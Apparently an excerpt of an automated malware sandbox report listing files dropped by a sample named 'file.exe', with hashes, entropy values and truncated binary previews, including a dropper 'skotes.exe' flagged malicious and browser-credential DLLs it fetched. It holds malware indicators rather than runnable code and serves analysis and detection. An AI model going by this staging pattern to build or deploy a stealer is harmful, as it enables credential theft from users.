Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/1D80D522ACB86EB712686DF793B2BB6F",.. "id": "1D80D522ACB86EB712686DF793B2BB6F",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/1D80D522ACB86EB712686DF793B2BB6F"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/2AD9995FB69D83208FA9D815DAC1407C",.. "id": "2AD9995FB69D83208FA9D815DAC1407C",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/2AD9995FB69D83208FA9D815DAC1407C"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915904
Entropy (8bit):	7.95024087455261
Encrypted:	false
SSDEEP:	49152:D8Lo4gXBFKk5P0V6HJaD7XnS5FhbY2d341h:Dio4QDRHJWL6FhPWh
MD5:	27497D872004D9B173CA70DE453A9023
SHA1:	8F27759F09BAC88C16E09E582457CA630FDBA92E
SHA-256:	61B4E65D91F74AF0640BF76E62C02A0772BFBCF352237754FEA97C3ACFD11D2C
SHA-512:	913ED32BA748642C3B6770D9A4995C6FE39D0911D91151D5AA76F6E63A5694EEDF27341FCDF157C1AD76661417752924691D1C28B04A683407AB4F157013DA4A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....D.....@.................................W...k.......D.....................K.............................<.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...aapaipka. ....1.. ..................@...lvlzfpat......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\vcruntime140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2408448
Entropy (8bit):	7.986221036169568
Encrypted:	false
SSDEEP:	49152:SLLZ0iDpkVz9I1ri4Ay4WeZ5huA82Y06WQvMyNz9r4rsuY9T80D:K19GOitywZ22YVNRrGsuYV8C
MD5:	15193F8F073B002029383126E481AFE6
SHA1:	60E725136E2FDFF9E74EF2CD640391399E8CEC41
SHA-256:	F604E64D9BA719A79C95DD9E4F567AE74F46779D10E65B50DDA52AE8C462D0F9
SHA-512:	FA1647A473B6D7F9274783DDB674F5C6ACEEA95EAFD6D884ED0BF726F34AC5C256888DE371527DCCCFA8CA93170C803471F8BC6C502F7C9D03CE485E44A164D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%.Eg...............(.NK..:v..2...........`K...@...................................C...@... ............................._.s.s.....s.....................................................\....................................................... . ..s......6(.................@....rsrc.........s......F(.............@....idata ......s......H(.............@... .07...s......J(.............@...mzywmxvx............L(.............@...dsaasqmi..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1009748001\d96f7523a6.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386 (stripped to external PDB), for MS Windows
Category:	dropped
Size (bytes):	2408448
Entropy (8bit):	7.986221036169568
Encrypted:	false
SSDEEP:	49152:SLLZ0iDpkVz9I1ri4Ay4WeZ5huA82Y06WQvMyNz9r4rsuY9T80D:K19GOitywZ22YVNRrGsuYV8C
MD5:	15193F8F073B002029383126E481AFE6
SHA1:	60E725136E2FDFF9E74EF2CD640391399E8CEC41
SHA-256:	F604E64D9BA719A79C95DD9E4F567AE74F46779D10E65B50DDA52AE8C462D0F9
SHA-512:	FA1647A473B6D7F9274783DDB674F5C6ACEEA95EAFD6D884ED0BF726F34AC5C256888DE371527DCCCFA8CA93170C803471F8BC6C502F7C9D03CE485E44A164D4
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...%.Eg...............(.NK..:v..2...........`K...@...................................C...@... ............................._.s.s.....s.....................................................\....................................................... . ..s......6(.................@....rsrc.........s......F(.............@....idata ......s......H(.............@... .07...s......J(.............@...mzywmxvx............L(.............@...dsaasqmi..............C.............@....taggant.0......."....C.............@...........................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\4d1056fb-a758-43e4-b64c-ad045709937a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\5556ae17-1689-4fad-bd1d-d293b7675e1a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\62efcc6d-ca62-4362-b34c-ce958857a458.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\9d0e2a45-203c-4aea-9d75-ca20107721b9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsKJEGDBKFIJ.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1915904
Entropy (8bit):	7.95024087455261
Encrypted:	false
SSDEEP:	49152:D8Lo4gXBFKk5P0V6HJaD7XnS5FhbY2d341h:Dio4QDRHJWL6FhPWh
MD5:	27497D872004D9B173CA70DE453A9023
SHA1:	8F27759F09BAC88C16E09E582457CA630FDBA92E
SHA-256:	61B4E65D91F74AF0640BF76E62C02A0772BFBCF352237754FEA97C3ACFD11D2C
SHA-512:	913ED32BA748642C3B6770D9A4995C6FE39D0911D91151D5AA76F6E63A5694EEDF27341FCDF157C1AD76661417752924691D1C28B04A683407AB4F157013DA4A
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................L.....D.....@.................................W...k.......D.....................K.............................<.K..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...aapaipka. ....1.. ..................@...lvlzfpat......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ccfbf4f3-e725-4fb0-b5f2-c30df9989ff3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.429160888649018
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0ejy51ld0e15M:JIVuwEw5MUFZLBQLt1yBM
MD5:	9A1A980A19A649A7899171A18DE2FC92
SHA1:	C2E79DCD2936C42273D8C7B92BB6ED7B501E3A46
SHA-256:	A074D7194ED3375D2E47303B224A0C3F541CF6694F6609EF5ECFEF5D8E13B3DD
SHA-512:	B17D9BBC6026ED56F37B62B2340E36648832779E3E949ACE15D707BB8EF34C26FD0DD101D8D188E5D5926A3A8B0BE63540D3D7976871C0EC81F4F6CE7867B5B8
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\d430c6cd-ca71-4e1e-bd40-b9c3c3bd0de7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 32 x 32, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1827174
Entropy (8bit):	7.854169624463913
Encrypted:	false
SSDEEP:	49152:b4ZgYXfVFyORPINoTMwRxf/2lUoS12ndrjLD5Vn0ML:b4iYPOYQNoTdxf/2rvrjZVn0ML
MD5:	539D20AEA5CD66D8D5CFADCA214A8360
SHA1:	3C1BA574AF1FE32F66BCC66ED96352A5FFA50DCB
SHA-256:	75B4102FCD9F16E67F3C1AC0A87B6366265D91B18B50372D2BCC0E9AF14D4672
SHA-512:	9D27B6BE26F14613F4BF96FCA74112D771BA5059AE6B100A277F33F1EE52A836D32F8BCD202AF5EE8372D98DB2BC269BF039141069122352A4D00A0286E09E65
Malicious:	false
Preview:	.PNG........IHDR... ... .....szz.....tEXtSoftware.Adobe ImageReadyq.e<...qiTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628" xmpMM:DocumentID="xmp.did:91EA24D7191011E5B1FF9488C51C29D1" xmpMM:InstanceID="xmp.iid:91EA24D6191011E5B1FF9488C51C29D1" xmp:CreatorTool="Adobe Photoshop CC (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:6a6b844a-8117-4c4c-9b2f-30d3769ed7c7" stRef:documentID="xmp.did:695f8e9f-409d-324a-b50a-1e3067707628"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>^.i.....IDATx.bb .0..;./..;@...A.P9F...y

C:\Users\user\AppData\Local\Temp\d7fdaf69-a469-42ca-a205-d2f470a57b3b.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\scoped_dir5064_1530354615\62efcc6d-ca62-4362-b34c-ce958857a458.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir5064_1530354615\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
